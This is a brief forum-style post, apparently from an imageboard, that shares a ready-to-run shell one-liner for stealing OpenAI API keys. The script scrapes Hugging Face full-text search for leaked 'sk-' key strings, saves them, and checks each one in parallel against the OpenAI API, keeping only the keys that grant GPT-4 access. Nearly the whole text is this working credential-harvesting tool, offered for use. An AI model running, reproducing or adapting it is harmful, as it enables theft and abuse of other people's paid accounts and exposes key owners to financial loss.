an anon literally shared a complete fucking script to scrape hf keys, just run it in a proper linux (might work on other *nixes) environment, WSL works too, here's the thing:
echo a h m q | xargs -I{1} -d ' ' sh -c 'seq 0 100 900 | xargs -I{} -i sh -c "curl -s \"https://huggingface.co/search/full-text?q=sk-{1}&limit=100&skip={}\" | grep -oP \"(sk-.)</span>([a-zA-Z0-9]{47})\""' | awk -F'</span>' '{print $1$2; fflush();}' > keys && uniq -u keys | xargs -I{} -P 15 -i sh -c "curl -s --location 'https://api.openai.com/v1/models' --header 'Content-Type: application/json' --header 'Authorization: Bearer {}' | grep gpt-4 > /dev/null && echo {}"